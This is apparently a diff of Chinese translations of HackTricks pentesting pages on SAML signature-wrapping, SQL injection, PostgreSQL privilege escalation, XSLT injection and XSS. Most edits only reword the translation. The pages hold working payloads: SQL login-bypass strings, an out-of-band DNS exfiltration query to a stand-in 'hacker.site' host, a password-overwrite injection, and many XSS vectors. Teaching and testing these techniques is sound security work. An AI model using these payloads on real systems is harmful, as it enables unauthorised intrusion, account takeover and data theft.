- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
{{#include ../banners/hacktricks-training.md}}

View File

@ -16,7 +16,7 @@ saml-basics.md
## XML 往返
在 XML 中,签名部分的 XML 被保存在内存中,然后进行一些编码/解码,并检查签名。理想情况下,这种编码/解码不应该改变数据,但基于这种情况,**被检查的数据和原始数据可能不相同**。
在 XML 中,XML 的签名部分保存在内存中,然后进行一些编码/解码,并检查签名。理想情况下,这种编码/解码不应该改变数据,但基于这种情况,**被检查的数据和原始数据可能不相同**。
例如,检查以下代码:
```ruby
@ -33,7 +33,7 @@ puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
在 REXML 3.2.4 或更早版本上运行该程序将导致以下输出:
运行该程序针对 REXML 3.2.4 或更早版本将导致以下输出:
```
First child in original doc: Y
First child after round-trip: Z
@ -67,14 +67,14 @@ First child after round-trip: Z
### XSW #2
- **与XSW #1的区别**:使用分离签名而不是封装签名。
- **影响**与XSW #1类似的“恶意”结构旨在欺骗完整性检查后的业务逻辑。
- **影响**“恶意”结构类似于XSW #1旨在欺骗完整性检查后的业务逻辑。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
### XSW #3
- **策略**:在与原始断言相同的层级上构造一个恶意断言。
- **影响**旨在混淆业务逻辑以使用恶意数据。
- **影响**意图使业务逻辑混淆,以使用恶意数据。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>)
@ -108,7 +108,7 @@ First child after round-trip: Z
### XSW #8
- **与XSW #7的区别**利用另一个约束较少的XML元素进行攻击的变体
- **与XSW #7的区别**利用另一个约束较少的XML元素进行变体攻击。
- **影响**原始断言成为约束较少元素的子元素反转XSW #7中使用的结构
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](<../../images/image (541).png>)
@ -143,13 +143,13 @@ SAML响应是**解压缩和base64编码的XML文档**可能会受到XML外部
<ds:SignatureValue>...</ds:SignatureValue>
[...]
```
## 工具
## Tools
您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) 从 SAML 请求生成 POC以测试可能的 XXE 漏洞和 SAML 漏洞。
还可以查看这个演讲: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)
## 通过 SAML 的 XSLT
## XSLT via SAML
有关 XSLT 的更多信息,请访问:
@ -187,13 +187,13 @@ SAML响应是**解压缩和base64编码的XML文档**可能会受到XML外部
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
**XML Signature Exclusion** 观察 SAML 实现的行为,当 Signature 元素缺失时。如果元素缺失,**签名验证可能不会发生**,使其变得脆弱。可以通过更改通常由签名验证的内容来测试这一点。
**XML Signature Exclusion** 观察 SAML 实现的行为,当 Signature 元素缺失时。如果元素缺失,**签名验证可能不会发生**,使其变得脆弱。可以通过更改通常由签名验证的内容来测试这一点。
![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>)
### Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)。拦截 SAML 响应并点击 `Remove Signatures`。这样**所有** Signature 元素将被移除。
您还可以使用 Burp 扩展 [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e)。拦截 SAML 响应并点击 `Remove Signatures`。这样 **所有** 签名元素都会被移除。
在移除签名后,允许请求继续发送到目标。如果服务不需要签名
@ -209,7 +209,7 @@ Certificate Faking 是一种测试 **服务提供者 (SP) 是否正确验证 SAM
1. 拦截 SAML 响应。
2. 如果响应包含签名,使用 `Send Certificate to SAML Raider Certs` 按钮将证书发送到 SAML Raider Certs。
3. 在 SAML Raider 证书选项卡中,选择导入的证书并点击 `Save and Self-Sign` 创建原始证书的自签名克隆。
3. 在 SAML Raider Certificates 选项卡中,选择导入的证书并点击 `Save and Self-Sign` 创建原始证书的自签名克隆。
4. 返回到 Burp 的代理中拦截的请求。 从 XML Signature 下拉菜单中选择新的自签名证书。
5. 使用 `Remove Signatures` 按钮移除任何现有签名。
6. 使用 **`(Re-)Sign Message`** 或 **`(Re-)Sign Assertion`** 按钮(视情况而定)使用新证书签署消息或声明。
@ -244,11 +244,11 @@ return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"
```
## 登出功能中的XSS
## XSS 在注销功能中的应用
原始研究可以通过 [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) 访问。
在目录暴力破解的过程中,发现了一个登出页面:
在目录暴力破解的过程中,发现了一个注销页面:
```
https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
@ -256,11 +256,11 @@ https://carbon-prototype.uberinternal.com:443/oidauth/logout
```
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
```
揭示了 `base` 参数接受一个 URL。考虑到这一点出现了用 `javascript:alert(123);` URL 的想法,以尝试发起 XSS跨站脚本攻击。
表明 `base` 参数接受一个 URL。考虑到这一点出现了用 `javascript:alert(123);` URL 的想法,以尝试发起 XSS跨站脚本攻击。
### 大规模利用
[来自这项研究](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
[根据这项研究](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) 工具被用来分析 `uberinternal.com` 的子域,以查找使用相同库的域。随后,开发了一个脚本来针对 `oidauth/prompt` 页面。该脚本通过输入数据并检查其是否反映在输出中来测试 XSS跨站脚本。在输入确实被反映的情况下脚本将该页面标记为易受攻击。
```python
@ -280,10 +280,10 @@ doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
```
## 参考文献
## 参考
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)

View File

@ -25,7 +25,7 @@
_请注意如果您能看到错误消息或能够发现查询正常工作与不正常工作时的差异这个阶段将会更容易。_
### **评论**
### **注释**
```sql
MySQL
#comment
@ -191,7 +191,7 @@ _在每个不同的数据库中发现这些数据的方法各不相同但方
## 利用隐藏的基于联合的注入
当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。
当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。
这可以通过使用盲注入技术以及特定于目标数据库管理系统DBMS的默认表来实现。为了理解这些默认表建议查阅目标DBMS的文档。
@ -208,14 +208,14 @@ _在每个不同的数据库中发现这些数据的方法各不相同但方
```
## 利用盲注
在这种情况下,您无法看到查询的结果或错误,但您可以**区分**查询何时**返回****真**或**假**响应,因为页面上的内容不同。\
在这种情况下,您无法看到查询的结果或错误,但您可以**区分**查询**返回****真**或**假**响应,因为页面上的内容不同。\
在这种情况下,您可以利用这种行为逐字符地转储数据库:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## 利用错误盲注
这与之前的**情况相同**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否可能是因为HTTP服务器崩溃。因此在这种情况下每次正确猜测字符时您可以强制产生SQL错误
这与之前的**情况相同**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否可能是因为HTTP服务器崩溃。因此在这种情况下每次正确猜测字符时您可以强制产生一个SQL错误
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
@ -233,7 +233,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
## Out of band Exploitation
如果**没有其他**利用方法**有效**,您可以尝试使**数据库将信息外泄**到您控制的**外部主机**。例如通过DNS查询
如果**没有其他**利用方法**有效**,您可以尝试使**数据库将**信息外泄到您控制的**外部主机**。例如通过DNS查询
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -281,7 +281,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
**推荐列表**
您应该将列表中的每一行用作用户名,密码始终为: _**Pass1234.**_\
&#xNAN;_(这些有效载荷也包含在本节开头提到的大列表中)_
_(这些有效载荷也包含在本节开头提到的大列表中)_
{{#file}}
sqli-hashbypass.txt
@ -289,7 +289,7 @@ sqli-hashbypass.txt
### GBK 认证绕过
如果 ' 被转义,您可以使用 %A8%27当 ' 被转义时将创建0xA80x5c0x27 (_╘'_)
如果 ' 被转义,您可以使用 %A8%27当 ' 被转义时,将创建: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -322,7 +322,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
如果数据库存在漏洞并且用户名的最大字符数例如为30而您想要冒充用户**admin**请尝试创建一个名为“_admin \[30个空格] a_”的用户名和任何密码。
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**允许的最大字符数**在这种情况下为“_admin \[25个空格]_”然后它将**自动删除末尾的所有空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**允许的最大字符数**在这种情况下为“_admin \[25个空格]_”然后它将**自动删除所有末尾的空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -340,7 +340,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
示例有效负载注入:
一个注入有效负载可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:
有效负载可能被构造如下,其中尝试将两行插入到 `users` 表中。第一行是诱饵,第二行针对现有管理员的电子邮件,目的是更新密码:
```sql
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
```
@ -348,7 +348,7 @@ INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_
- 查询尝试插入两行:一行为 `generic_user@example.com`,另一行为 `admin_generic@example.com`
- 如果 `admin_generic@example.com` 的行已经存在,`ON DUPLICATE KEY UPDATE` 子句会触发,指示 MySQL 更新现有行的 `password` 字段为 "bcrypt_hash_of_newpassword"。
- 因此,可以尝试使用 `admin_generic@example.com` 进行身份验证,密码对应于 bcrypt 哈希"bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。
- 因此,可以尝试使用 `admin_generic@example.com` 和与 bcrypt 哈希对应的密码进行身份验证"bcrypt_hash_of_newpassword" 代表新密码的 bcrypt 哈希,应替换为所需密码的实际哈希)。
### 提取信息
@ -373,7 +373,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
使用 **hex****replace**(以及 **substr**
使用 **hex****replace** (以及 **substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

View File

@ -12,21 +12,21 @@ CREATE EXTENSION dblink;
### 权限提升
文件 `pg_hba.conf` 可能配置不当 **允许来自 localhost 的任何用户连接** 而无需知道密码。该文件通常可以在 `/etc/postgresql/12/main/pg_hba.conf` 中找到,错误的配置如下:
文件 `pg_hba.conf` 可能配置不当 **允许从 localhost 以任何用户身份连接**,而无需知道密码。该文件通常位于 `/etc/postgresql/12/main/pg_hba.conf`,不当配置的样子如下:
```
local all all trust
```
_请注意这种配置通常用于在管理员忘记数据库用户密码时修改密码,因此有时您可能会发现它。_\
&#xNAN;_&#x4E;请注意pg_hba.conf 文件仅可由 postgres 用户和组读取,并且仅可由 postgres 用户写入。_
_请注意此配置通常用于在管理员忘记数据库用户密码时修改密码,因此有时您可能会找到它。_\
_请注意文件 pg_hba.conf 仅可由 postgres 用户和组读取,并且仅可由 postgres 用户写入。_
这种情况是**有用的,如果**您**已经**在受害者的**shell**中,因为它将允许您连接到 postgresql 数据库。
此情况是 **有用的,如果****已经** 在受害者的 **shell** 中,因为它将允许您连接到 postgresql 数据库。
另一个可能的错误配置类似于:
```
host all all 127.0.0.1/32 trust
```
因为它将允许来自本地主机的每个人以任何用户身份连接到数据库。\
在这种情况下,如果**`dblink`**函数**正常工作**,您可以通过通过已建立的连接连接到数据库来**提升权限**,并访问不应该能够访问的数据:
在这种情况下,如果 **`dblink`** 函数 **正常工作**,您可以通过连接到已经建立的连接来 **提升权限**,并访问不应该能够访问的数据:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres

View File

@ -1,4 +1,4 @@
# XSLT 服务器端注入 (可扩展样式表语言转换)
# XSLT 服务器端注入(可扩展样式表语言转换)
{{#include ../banners/hacktricks-training.md}}
@ -105,7 +105,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
</xsl:template>
</xsl:stylesheet>
```
执行
执行
```xml
$saxonb-xslt -xsl:detection.xsl xml.xml
@ -244,7 +244,7 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
</xsl:template>
</xsl:stylesheet>
```
### **通过HTTP**
### **通过 HTTP**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
@ -348,7 +348,7 @@ xmlns:php="http://php.net/xsl" >
### **更多语言**
**在此页面中,您可以找到其他语言中 RCE 示例:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
**在此页面中,您可以找到其他语言中 RCE 示例:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **C#、Java、PHP**
## **从类中访问 PHP 静态函数**
@ -367,6 +367,8 @@ version="1.0">
</xsl:template>
</xsl:stylesheet>
```
(示例来自 [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
## 更多有效载荷
- 查看 [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
@ -380,8 +382,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
## **参考文献**
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)\\
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
- [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
- [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
{{#include ../banners/hacktricks-training.md}}

View File

@ -5,27 +5,27 @@
1. 检查 **任何你控制的值** (_参数_、_路径_、_头部_?、_cookies_?) 是否在 HTML 中被 **反射****被** **JS** 代码 **使用**
2. **找到上下文**,查看它是如何被反射/使用的。
3. 如果 **被反射**
1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
1. 在 **原始 HTML** 中:
1. 你能创建新的 HTML 标签吗?
2. 你能使用支持 `javascript:` 协议的事件或属性吗?
3. 你能绕过保护措施吗?
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗?
2. 在 **HTML 标签**
1. 你能退出到原始 HTML 上下文吗?
2. 你能创建新的事件/属性来执行 JS 代码吗?
3. 你被困的属性是否支持 JS 执行?
4. 你能绕过保护措施吗?
3. 在 **JavaScript 代码**
1. 你能逃逸 `<script>` 标签吗?
2. 你能逃逸字符串并执行不同的 JS 代码吗?
3. 你的输入是否在模板字面量 \`\` 中?
4. 你能绕过保护措施吗?
4. 被 **执行的** Javascript **函数**
1. 你可以指明要执行的函数名称。例如:`?callback=alert(1)`
1. 检查 **你可以使用哪些符号**,并根据此准备有效载荷:
1. 在 **原始 HTML** 中:
1. 你能创建新的 HTML 标签吗?
2. 你能使用支持 `javascript:` 协议的事件或属性吗?
3. 你能绕过保护吗?
4. HTML 内容是否被任何客户端 JS 引擎 (_AngularJS_、_VueJS_、_Mavo_...) 解释,你可以利用 [**客户端模板注入**](../client-side-template-injection-csti.md)。
5. 如果你不能创建执行 JS 代码的 HTML 标签,你能利用 [**悬挂标记 - 无脚本 HTML 注入**](../dangling-markup-html-scriptless-injection/index.html) 吗?
2. 在 **HTML 标签**
1. 你能退出到原始 HTML 上下文吗?
2. 你能创建新的事件/属性来执行 JS 代码吗?
3. 你被困的属性是否支持 JS 执行?
4. 你能绕过保护吗?
3. 在 **JavaScript 代码**
1. 你能逃避 `<script>` 标签吗?
2. 你能逃避字符串并执行不同的 JS 代码吗?
3. 你的输入是否在模板字面量 \`\` 中?
4. 你能绕过保护吗?
4. Javascript **函数** 被 **执行**
1. 你可以指明要执行的函数名称。例如: `?callback=alert(1)`
4. 如果 **被使用**
1. 你可以利用 **DOM XSS**,注意你的输入是如何被控制的,以及你的 **受控输入是否被任何接收器使用**
1. 你可以利用 **DOM XSS**,注意你的输入是如何被控制的,以及你的 **受控输入是否被任何接收器使用**
在处理复杂的 XSS 时,你可能会发现了解以下内容很有趣:
@ -37,13 +37,13 @@ debugging-client-side-js.md
为了成功利用 XSS你需要找到的第一件事是 **一个由你控制的值在网页中被反射**
- **中间反射**:如果你发现参数的值甚至路径在网页中被反射,你可以利用 **反射 XSS**。
- **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用 **存储 XSS**。
- **中间反射**:如果你发现参数的值甚至路径在网页中被反射,你可以利用 **反射 XSS**。
- **存储并反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用 **存储 XSS**。
- **通过 JS 访问**:如果你发现一个由你控制的值通过 JS 被访问,你可以利用 **DOM XSS**
## 上下文
在尝试利用 XSS 时,你需要知道的第一件事是 **你的输入被反射在哪里**。根据上下文,你将能够以不同的方式执行任意 JS 代码。
在尝试利用 XSS 时,你需要知道的第一件事是 **你的输入在哪里被反射**。根据上下文,你将能够以不同的方式执行任意 JS 代码。
### 原始 HTML
@ -54,12 +54,12 @@ debugging-client-side-js.md
如果你的输入在标签的属性值中被反射,你可以尝试:
1. **逃属性和标签**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
2. 如果你 **可以逃逸属性但不能逃逸标签**`>` 被编码或删除),根据标签的不同,你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
3. 如果你 **无法逃属性**`"` 被编码或删除),那么根据 **你的值被反射在哪个属性** 以及 **你是否控制整个值或仅部分值**,你将能够进行利用。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入在 "**不可利用的标签**" 被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你将需要某种社交工程来利用它):**`" accesskey="x" onclick="alert(1)" x="**
1. **逃属性和标签**(然后你将处于原始 HTML 中)并创建新的 HTML 标签进行利用:`"><img [...]`
2. 如果你 **能逃离属性但不能逃离标签**`>` 被编码或删除),根据标签你可以 **创建一个事件** 来执行 JS 代码:`" autofocus onfocus=alert(1) x="`
3. 如果你 **无法逃属性**`"` 被编码或删除),那么根据 **你的值被反射在哪个属性中**,如果你控制整个值或仅部分值,你将能够利用它。例如,如果你控制一个事件如 `onclick=`,你将能够使其在点击时执行任意代码。另一个有趣的 **例子** 是属性 `href`,你可以使用 `javascript:` 协议来执行任意代码:**`href="javascript:alert(1)"`**
4. 如果你的输入在 "**不可利用的标签**" 被反射,你可以尝试 **`accesskey`** 技巧来利用这个漏洞(你将需要某种社交工程来利用它):**`" accesskey="x" onclick="alert(1)" x="**
如果你控制类名Angular 执行 XSS 的奇怪例子:
如果你控制一个类名Angular 执行 XSS 的奇怪例子:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -94,7 +94,7 @@ js-hoisting.md
一些网页有端点**接受作为参数要执行的函数名称**。在实际中常见的例子是类似于:`?callback=callbackFunc`
找出用户直接提供的内容是否试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
找出用户直接提供的内容是否试被执行的一个好方法是**修改参数值**(例如改为 'Vulnerable'),并在控制台中查找错误,例如:
![](<../../images/image (711).png>)
@ -102,7 +102,7 @@ js-hoisting.md
然而,即使有这个限制,仍然可以执行一些操作。这是因为您可以使用这些有效字符**访问 DOM 中的任何元素**
![](<../../images/image (747).png>)
![](<../../images/image (747).png>)
一些有用的函数:
```
@ -132,7 +132,7 @@ dom-xss.md
### **通用 XSS**
这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用,依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取****任意****文件**在客户端和服务器上,等等。\
这种类型的 XSS 可以在**任何地方**找到。它们不仅依赖于对 Web 应用程序的客户端利用,而是依赖于**任何****上下文**。这种**任意 JavaScript 执行**甚至可以被滥用以获得**RCE**、**读取**客户端和服务器中的**任意****文件**等。\
一些**示例**
{{#ref}}
@ -151,9 +151,9 @@ server-side-xss-dynamic-pdf.md
当您的输入在**HTML 页面中被反射**或您可以在此上下文中转义并注入 HTML 代码时,您需要做的**第一**件事是检查您是否可以滥用 `<` 来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML 编码**或**删除**,或者是否**未更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
对于这些情况,还**请记住** [**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
&#xNAN;_**注意HTML 注释可以使用\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*或 \*\*\*\*\*\***`--!>`\*\**_
_**注意HTML 注释可以使用\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*或 \*\*\*\*\*\***`--!>`\*\*_
在这种情况下,如果没有使用黑名单/白名单,您可以使用以下有效载:
在这种情况下,如果没有使用黑/白名单,您可以使用以下有效载
```html
<script>
alert(1)
@ -166,7 +166,7 @@ alert(1)
### 标签/事件暴力破解
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的程序进行)。
访问 [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet),然后点击 _**复制标签到剪贴板**_。然后,使用 Burp intruder 发送所有标签,并检查是否有任何标签未被 WAF 识别为恶意。一旦您发现可以使用的标签,您可以使用有效标签**暴力破解所有事件**(在同一网页上点击 _**复制事件到剪贴板**_,并按照之前的相同程序进行操作)。
### 自定义标签
@ -267,7 +267,7 @@ onerror=alert`1`
```
### Within the attribute
即使你**无法从属性中逃脱**`"`被编码或删除),根据**你的值反射在哪个属性中****如果你控制所有值或只是部分值**,你将能够利用它。例如,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
即使你**无法从属性中逃脱**`"`被编码或删除),根据**你的值反射在哪个属性中****如果你控制所有值或只是部分值**,你将能够利用它。**例如**,如果你控制一个事件如`onclick=`,你将能够使其在点击时执行任意代码。\
另一个有趣的**例子**是属性`href`,你可以使用`javascript:`协议来执行任意代码:**`href="javascript:alert(1)"`**
**通过HTML编码/URL编码绕过事件**
@ -301,9 +301,9 @@ HTML标签属性值中的**HTML编码字符**在运行时**被解码**。因此
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```
### Special Protocols Within the attribute
### 特殊协议在属性中
那里,您可以在某些地方使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互,有些则不需要。
某些地方,您可以使用协议 **`javascript:`** 或 **`data:`** 来 **执行任意 JS 代码**。有些将需要用户交互,有些则不需要。
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -357,7 +357,7 @@ _**在这种情况下上一节中的HTML编码和Unicode编码技巧也是有
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将不会** **工作**,但你可以在 **payload****混合使用它们**
注意,如果你尝试以任何顺序同时使用 `URLencode + HTMLencode` 来编码 **payload**,它 **将** **不起作用**,但你可以在 **payload****混合使用它们**
**使用 Hex 和 Octal 编码与 `javascript:`**
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):您可以在**隐藏属性**中执行**XSS有效负载**,前提是您可以**说服****受害者**按下**键组合**。在Firefox Windows/Linux上键组合是**ALT+SHIFT+X**在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
从[**这里**](https://portswigger.net/research/xss-in-hidden-input-fields):您可以在**隐藏属性**中执行**XSS有效负载**,前提是您能够**说服****受害者**按下**键组合**。在Firefox Windows/Linux上键组合是**ALT+SHIFT+X**在OS X上是**CTRL+ALT+X**。您可以使用访问键属性中的不同键指定不同的键组合。这里是向量:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -430,7 +430,7 @@ onbeforetoggle="alert(2)" />
### 黑名单绕过
本节中已经揭示了几种使用不同编码的技巧。请**返回以了解您可以在哪里使用**
